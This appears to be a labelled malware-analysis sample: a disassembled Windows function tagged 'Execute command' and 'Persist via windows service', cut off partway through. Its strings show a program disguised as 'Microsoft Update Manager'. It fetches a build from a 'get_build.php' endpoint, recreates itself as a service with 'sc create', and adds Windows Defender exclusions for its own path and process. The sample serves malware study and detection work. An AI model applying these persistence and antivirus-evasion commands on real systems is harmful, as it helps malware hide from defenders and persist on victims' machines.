Function at 0x410bb0
Capabilities:
Execute command
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41f9f5
mov eax, dword fs:[0]
push eax
sub esp, 0x168
mov eax, dword [0x42800c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xcc], ecx
mov al, byte [0x42881a]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x64], esp
mov byte [ebp - 0x11], al
push 0x428850
call fcn.00404640
sub esp, 0x18
mov dword [ebp - 4], 0
mov ecx, esp
xorps xmm0, xmm0
push 0x14
movups xmmword [ecx], xmm0
push str.update_MANAGER_start
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00405070
mov cl, byte [ebp - 0x11]
mov dword [ebp - 4], 0xffffffff
call fcn.00408310
add esp, 0x18
xorps xmm0, xmm0
mov dword [ebp - 0x64], esp
mov edi, esp
sub esp, 0x18
mov esi, esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x68], esp
push 8
movups xmmword [ecx], xmm0
push str.bldMNGR
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00405070
sub esp, 0x18
mov dword [ebp - 4], 1
mov ecx, esp
xorps xmm0, xmm0
push 0xd
movups xmmword [ecx], xmm0
push str.get_build.php
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00405070
mov ecx, esi
mov dword [ebp - 4], 0xffffffff
call fcn.0040b7f0
add esp, 0x30
mov ecx, edi
call fcn.00401650
mov dword [ebp - 4], 2
mov ecx, esp
mov dword [ebp - 0x60], ecx
mov eax, closesocket
mov edx, dword [0x42895c]
sub eax, edx
cmp eax, 4
jb 0x4122b4
cmp dword [0x428960], 0x10
mov eax, 0x42894c
push 4
cmovae eax, dword [0x42894c]
push str.BLD
push edx
push eax
push ecx
push dword [ebp - 0x60]
call fcn.0040a8c0
mov dword [ebp - 4], 0xffffffff
call fcn.00403110
mov al, byte [0x42881a]
add esp, 0x18
mov ecx, esp
mov dword [ebp - 0x60], esp
mov byte [ebp - 0x11], al
push 0x428850
call fcn.00404640
sub esp, 0x18
mov dword [ebp - 4], 3
mov ecx, esp
xorps xmm0, xmm0
push 0x15
movups xmmword [ecx], xmm0
push str.update_MANAGER_copied
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00405070
mov cl, byte [ebp - 0x11]
mov dword [ebp - 4], 0xffffffff
call fcn.00408310
add esp, 0x30
mov byte [ebp - 0x11], 2
mov esi, 0xa
push 1
lea edx, [ebp - 0x11]
lea ecx, [ebp - 0xe4]
call fcn.00402b30
add esp, 4
mov ecx, eax
mov dword [ebp - 4], 4
mov edi, dword [ecx + 0x14]
mov eax, edi
mov edx, dword [ecx + 0x10]
sub eax, edx
cmp eax, 1
jb 0x410da7
lea eax, [edx + 1]
mov dword [ecx + 0x10], eax
mov eax, ecx
cmp edi, 0x10
jb 0x410d9f
mov eax, dword [ecx]
mov word [eax + edx], 0x7c
jmp 0x410dbe
push 1
push 0x421ddc
mov byte [ebp - 0x68], 0
push dword [ebp - 0x68]
push 1
call fcn.00405420
mov ecx, eax
mov eax, dword [ebp - 0xcc]
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x18], 0
movups xmm0, xmmword [ecx]
movups xmmword [ebp - 0x2c], xmm0
movq xmm0, qword [ecx + 0x10]
movq qword [ebp - 0x1c], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
cmp dword [ebp - 0x18], 0x10
mov ecx, dword [eax + 0x38]
cmovae edx, dword [ebp - 0x2c]
call fcn.0041c730
mov ecx, dword [ebp - 0x18]
mov edi, eax
cmp ecx, 0x10
jb 0x410e44
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410e3a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4110fe
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xd0]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
cmp ecx, 0x10
jb 0x410e97
mov edx, dword [ebp - 0xe4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410e8d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4110fe
push ecx
push edx
call fcn.0041d5d2
add esp, 8
push 0x64
dec esi
call dword [sym.imp.KERNEL32.dll_Sleep]
test edi, edi
jle 0x410eac
test esi, esi
jg 0x410d65
mov al, byte [0x42881a]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x60], esp
mov byte [ebp - 0x11], al
push 0x428850
call fcn.00404640
sub esp, 0x18
mov dword [ebp - 4], 5
mov ecx, esp
xorps xmm0, xmm0
push 0x18
movups xmmword [ecx], xmm0
push str.update_MANAGER_sock_send
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00405070
mov cl, byte [ebp - 0x11]
mov dword [ebp - 4], 0xffffffff
call fcn.00408310
mov edi, dword [ebp - 0xcc]
add esp, 0x18
mov esi, esp
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00404640
mov ecx, esi
call fcn.004086d0
add esp, 0x18
call fcn.0041b760
add esp, 0x18
test eax, eax
je 0x410f90
mov al, byte [0x42881a]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x60], esp
mov byte [ebp - 0x11], al
push 0x428850
call fcn.00404640
sub esp, 0x18
mov dword [ebp - 4], 6
mov ecx, esp
xorps xmm0, xmm0
push 4
movups xmmword [ecx], xmm0
push str.weit
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00405070
mov cl, byte [ebp - 0x11]
mov dword [ebp - 4], 0xffffffff
call fcn.00408310
add esp, 0x30
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [0x42881a]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x60], esp
mov byte [ebp - 0x11], al
push 0x428850
call fcn.00404640
mov dword [ebp - 4], 7
mov eax, closesocket
mov ecx, dword [edi + 0x30]
sub eax, ecx
cmp eax, 0xb
jb 0x4122b9
cmp dword [edi + 0x34], 0x10
lea eax, [edi + 0x20]
jb 0x410fd0
mov eax, dword [edi + 0x20]
push ecx
push eax
push 0xb
push str.sc_delete__
push ecx
push dword [ebp - 0x60]
lea ecx, [ebp - 0x44]
call fcn.0040a8c0
mov byte [ebp - 4], 8
mov edx, dword [ebp - 0x30]
mov eax, edx
mov ecx, dword [ebp - 0x34]
sub eax, ecx
cmp eax, 1
jb 0x411013
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x44]
cmovae eax, dword [ebp - 0x44]
mov word [eax + ecx], 0x22
lea eax, [ebp - 0x44]
jmp 0x41102b
push 1
push 0x42166c
mov byte [ebp - 0x68], 0
lea ecx, [ebp - 0x44]
push dword [ebp - 0x68]
push 1
call fcn.00405420
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x18], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
sub esp, 0x18
mov byte [ebp - 4], 9
lea eax, [ebp - 0x2c]
mov ecx, esp
mov edx, str.update_MANAGER:
push eax
call fcn.00404d10
add esp, 4
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0xb
call fcn.00408310
mov byte [ebp - 4], 0xa
add esp, 0x30
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x4110bf
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4110b5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4110fe
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
cmp ecx, 0x10
jb 0x41110e
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411104
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x411104
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov ecx, dword [edi + 0x30]
mov eax, closesocket
sub eax, ecx
cmp eax, 0xb
jb 0x4122be
cmp dword [edi + 0x34], 0x10
lea eax, [edi + 0x20]
jb 0x41112d
mov eax, dword [edi + 0x20]
push ecx
push eax
push 0xb
push str.sc_delete__
push ecx
push dword [ebp - 0x60]
lea ecx, [ebp - 0x44]
call fcn.0040a8c0
mov dword [ebp - 4], 0xc
mov edx, dword [ebp - 0x30]
mov eax, edx
mov ecx, dword [ebp - 0x34]
sub eax, ecx
cmp eax, 1
jb 0x411173
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x44]
cmovae eax, dword [ebp - 0x44]
mov word [eax + ecx], 0x22
lea eax, [ebp - 0x44]
jmp 0x41118b
push 1
push 0x42166c
mov byte [ebp - 0x68], 0
lea ecx, [ebp - 0x44]
push dword [ebp - 0x68]
push 1
call fcn.00405420
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x18], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x2c]
cmp dword [ebp - 0x18], 0x10
cmovae eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [ebp - 0x18]
add esp, 4
cmp ecx, 0x10
jb 0x411207
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4111fd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411246
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
cmp ecx, 0x10
jb 0x411256
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41124c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x41124c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov al, byte [0x42881a]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x60], esp
mov byte [ebp - 0x11], al
push 0x428850
call fcn.00404640
mov dword [ebp - 4], 0xd
mov esi, edi
cmp dword [edi + 0x14], 0x10
jb 0x411281
mov esi, dword [edi]
sub esp, 0x18
mov edx, esi
mov ecx, esp
xorps xmm0, xmm0
lea eax, [edx + 1]
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ebp - 0x68], eax
mov al, byte [edx]
inc edx
test al, al
jne 0x4112a2
sub edx, dword [ebp - 0x68]
push edx
push esi
call fcn.00405070
mov cl, byte [ebp - 0x11]
mov dword [ebp - 4], 0xffffffff
call fcn.00408310
add esp, 0x18
mov ecx, esp
push edi
call fcn.00404640
call fcn.00406470
mov ecx, esp
mov dword [ebp - 0x60], esp
push 0x421928
call fcn.004134b0
sub esp, 0x18
mov dword [ebp - 4], 0xe
mov ecx, esp
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShell_Folders
call fcn.004134b0
lea ecx, [ebp - 0x5c]
mov dword [ebp - 4], 0xffffffff
call fcn.0041ba20
push 4
mov edx, 2
mov dword [ebp - 4], 0xf
lea ecx, [ebp - 0xb0]
call fcn.00402a30
add esp, 0x34
mov esi, eax
mov byte [ebp - 4], 0x10
mov ecx, closesocket
mov edx, dword [ebp - 0x4c]
sub ecx, edx
cmp ecx, 0x24
jb 0x4122c3
cmp dword [ebp - 0x48], 0x10
lea eax, [ebp - 0x5c]
push 0x24
cmovae eax, dword [ebp - 0x5c]
push str.Microsoft_Manager_INCUPS_Manager_x
push edx
push eax
push ecx
push dword [ebp - 0x60]
lea ecx, [ebp - 0xe4]
call fcn.0040a8c0
push esi
lea eax, [ebp - 0xe4]
mov byte [ebp - 4], 0x11
push eax
push dword [ebp - 0x60]
lea ecx, [ebp - 0x2c]
call fcn.0040a6e0
mov byte [ebp - 4], 0x12
mov edx, dword [ebp - 0x18]
mov eax, edx
mov ecx, dword [ebp - 0x1c]
sub eax, ecx
cmp eax, 4
jb 0x4113a9
lea eax, [ecx + 4]
cmp edx, 0x10
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x2c]
mov dword [eax + ecx], 0x6578652e
mov byte [eax + ecx + 4], 0
lea eax, [ebp - 0x2c]
jmp 0x4113c1
push 4
push str..exe
mov byte [ebp - 0x68], 0
lea ecx, [ebp - 0x2c]
push dword [ebp - 0x68]
push 4
call fcn.00405420
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x44], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x34], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x41141b
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411411
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411497
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0xd0]
cmp ecx, 0x10
jb 0x411467
mov edx, dword [ebp - 0xe4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41145d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411497
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x9c]
cmp ecx, 0x10
jb 0x4114a7
mov edx, dword [ebp - 0xb0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41149d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x41149d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041d5d2
add esp, 8
push 4
mov edx, 2
mov dword [ebp - 0xa0], 0
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x9c], 0xf
mov byte [ebp - 0xb0], 0
call fcn.00402a30
push eax
mov edx, str.Microsoft_Update_Manager_x
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x2c]
call fcn.00404d10
add esp, 8
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x118]
cmp ecx, 0x10
jb 0x411529
mov edx, dword [ebp - 0x12c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41151f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x41151f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041d5d2
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x11c], 0
mov esi, esp
mov dword [ebp - 0x118], 0xf
sub esp, 0x18
mov byte [ebp - 0x12c], 0
mov ecx, esp
mov dword [ebp - 0x68], esi
push edi
call fcn.00404640
lea ecx, [ebp - 0xfc]
call fcn.004086d0
add esp, 0x18
mov dword [ebp - 0x64], eax
push edi
sub esp, 0x18
mov byte [ebp - 4], 0x1a
lea eax, [ebp - 0x44]
mov ecx, esp
push eax
call fcn.00404640
lea ecx, [ebp - 0x15c]
call fcn.004086d0
add esp, 0x18
mov edi, eax
mov byte [ebp - 4], 0x1b
mov ecx, closesocket
mov edx, dword [ebp - 0x34]
sub ecx, edx
cmp ecx, 0x21
jb 0x4122c8
cmp dword [ebp - 0x30], 0x10
lea eax, [ebp - 0x44]
push edx
cmovae eax, dword [ebp - 0x44]
push eax
push 0x21
push str.Add_MpPreference__ExclusionPath_
push ecx
push dword [ebp - 0x60]
lea ecx, [ebp - 0x80]
call fcn.0040a8c0
mov byte [ebp - 4], 0x1c
mov edx, dword [ebp - 0x6c]
mov eax, edx
mov ecx, dword [ebp - 0x70]
sub eax, ecx
push 0x27
push str.__Add_MpPreference__ExclusionProcess_
cmp eax, 0x27
jb 0x411603
cmp edx, 0x10
lea esi, [ebp - 0x80]
lea eax, [ecx + 0x27]
cmovae esi, dword [ebp - 0x80]
add esi, ecx
mov dword [ebp - 0x70], eax
push esi
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + 0x27], 0
lea eax, [ebp - 0x80]
mov esi, dword [ebp - 0x68]
add esp, 0xc
jmp 0x411614
mov byte [ebp - 0x68], 0
lea ecx, [ebp - 0x80]
push dword [ebp - 0x68]
push 0x27
call fcn.00405420
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xe4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xd4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push edi
lea eax, [ebp - 0xe4]
mov byte [ebp - 4], 0x1d
push eax
push dword [ebp - 0x60]
lea ecx, [ebp - 0xc8]
call fcn.0040a6e0
push str.__Remove_MpPreference__ExclusionPath_
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 0x1e
call fcn.00404540
mov dword [ebp - 0x88], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x84], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x98], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x88], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea edx, [ebp - 0x98]
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x144]
call fcn.00409e60
add esp, 4
push str.__Remove_MpPreference__ExclusionProcess_
mov ecx, eax
mov byte [ebp - 4], 0x20
call fcn.00404540
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x174], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x164], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x21
lea eax, [ebp - 0x174]
push dword [ebp - 0x64]
lea ecx, [ebp - 0xb0]
push eax
push dword [ebp - 0x60]
call fcn.0040a6e0
push 0x421bec
lea ecx, [ebp - 0xb0]
mov byte [ebp - 4], 0x22
call fcn.00404540
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.00406820
mov byte [ebp - 4], 0x21
add esp, 0x18
mov ecx, dword [ebp - 0x9c]
cmp ecx, 0x10
jb 0x4117ab
mov edx, dword [ebp - 0xb0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4117a1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411a1c
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov byte [ebp - 4], 0x20
mov ecx, dword [ebp - 0x160]
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 0xf
mov byte [ebp - 0xb0], 0
cmp ecx, 0x10
jb 0x411804
mov edx, dword [ebp - 0x174]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4117fa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411a1c
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x130]
cmp ecx, 0x10
jb 0x411842
mov edx, dword [ebp - 0x144]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411838
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411a1c
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0xf
mov byte [ebp - 0x144], 0
cmp ecx, 0x10
jb 0x41189b
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411891
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411a1c
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0xb4]
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0xf
mov byte [ebp - 0x98], 0
cmp ecx, 0x10
jb 0x4118f4
mov edx, dword [ebp - 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4118ea
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411a1c
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0xd0]
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0xf
mov byte [ebp - 0xc8], 0
cmp ecx, 0x10
jb 0x41194d
mov edx, dword [ebp - 0xe4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411943
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411a1c
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov byte [ebp - 4], 0x1b
mov ecx, dword [ebp - 0x6c]
cmp ecx, 0x10
jb 0x411985
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41197b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411a1c
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x148]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
cmp ecx, 0x10
jb 0x4119d1
mov edx, dword [ebp - 0x15c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4119c7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411a1c
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0xe8]
mov dword [ebp - 0x14c], 0
mov dword [ebp - 0x148], 0xf
mov byte [ebp - 0x15c], 0
cmp ecx, 0x10
jb 0x411a2c
mov edx, dword [ebp - 0xfc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411a22
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x411a22
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041d5d2
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x44]
mov ecx, esp
mov dword [ebp - 0x60], esp
push eax
call fcn.00404640
sub esp, 0x18
mov byte [ebp - 4], 0x23
mov ecx, esp
mov esi, closesocket
mov dword [ebp - 0x64], ecx
mov eax, esi
mov edx, dword [0x42895c]
sub eax, edx
cmp eax, 4
jb 0x4122cd
cmp dword [0x428960], 0x10
mov eax, 0x42894c
push 4
cmovae eax, dword [0x42894c]
push str.BLD
push edx
push eax
push ecx
push dword [ebp - 0x60]
call fcn.0040a8c0
mov byte [ebp - 4], 0x19
call fcn.00408930
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0xbc]
add esp, 0x30
call fcn.004071f0
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0x108], 0
lea eax, [ebp - 0xbc]
mov byte [ebp - 4], 0x25
push eax
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x114], 1
call fcn.00405ec0
mov byte [ebp - 4], 0x19
mov edx, dword [ebp - 0xbc]
test edx, edx
je 0x411b3a
mov ecx, dword [ebp - 0xb4]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x411b12
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411c75
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0
sub esp, 0x18
mov byte [ebp - 4], 0x26
lea eax, [ebp - 0x44]
mov ecx, esp
lea edi, [ebp - 0x8c]
push eax
call fcn.00404640
mov ecx, edi
call fcn.00406550
add esp, 0x18
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xfc], 0
mov dword [ebp - 0xf8], 0
mov eax, edi
mov byte [ebp - 4], 0x28
push eax
lea ecx, [ebp - 0x100]
mov dword [ebp - 0x104], 2
call fcn.00405ec0
mov byte [ebp - 4], 0x26
mov edx, dword [ebp - 0x8c]
test edx, edx
je 0x411bf2
mov ecx, dword [ebp - 0x84]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x411bca
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411c75
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0
sub esp, 0x18
mov byte [ebp - 4], 0x29
lea eax, [ebp - 0x2c]
mov ecx, esp
lea edi, [ebp - 0x74]
push eax
call fcn.00404640
mov ecx, edi
call fcn.00406550
add esp, 0x18
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0xec], 0
mov dword [ebp - 0xe8], 0
mov eax, edi
mov byte [ebp - 4], 0x2b
push eax
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0xf4], 3
call fcn.00405ec0
mov byte [ebp - 4], 0x29
mov edx, dword [ebp - 0x74]
test edx, edx
je 0x411c9a
mov ecx, dword [ebp - 0x6c]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x411c7b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x411c7b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0
sub esp, 0xc
mov byte [ebp - 4], 0x2c
mov ecx, esp
mov dword [ebp - 0x60], esp
lea eax, [ebp - 0xe4]
lea edx, [ebp - 0x114]
push ecx
push eax
push edx
call fcn.004133c0
sub esp, 0x18
mov byte [ebp - 4], 0x2d
mov ecx, esp
push 0x428880
call fcn.00404640
mov byte [ebp - 4], 0x2c
call fcn.00406a70
add esp, 0x24
mov byte [ebp - 4], 0x19
lea eax, [ebp - 0x114]
push 0x405e50
push 3
push 0x10
push eax
call fcn.0041d60c
mov ecx, dword [ebp - 0x1c]
mov eax, esi
sub eax, ecx
cmp eax, 0xb
jb 0x4122d2
cmp dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x2c]
push ecx
cmovae eax, dword [ebp - 0x2c]
push eax
push 0xb
push str.sc_create__
push ecx
push dword [ebp - 0x60]
lea ecx, [ebp - 0xb0]
call fcn.0040a8c0
mov byte [ebp - 4], 0x2e
mov edx, dword [ebp - 0x9c]
mov eax, edx
mov ecx, dword [ebp - 0xa0]
sub eax, ecx
push 0xb
push str.__binpath_
cmp eax, 0xb
jb 0x411d75
cmp edx, 0x10
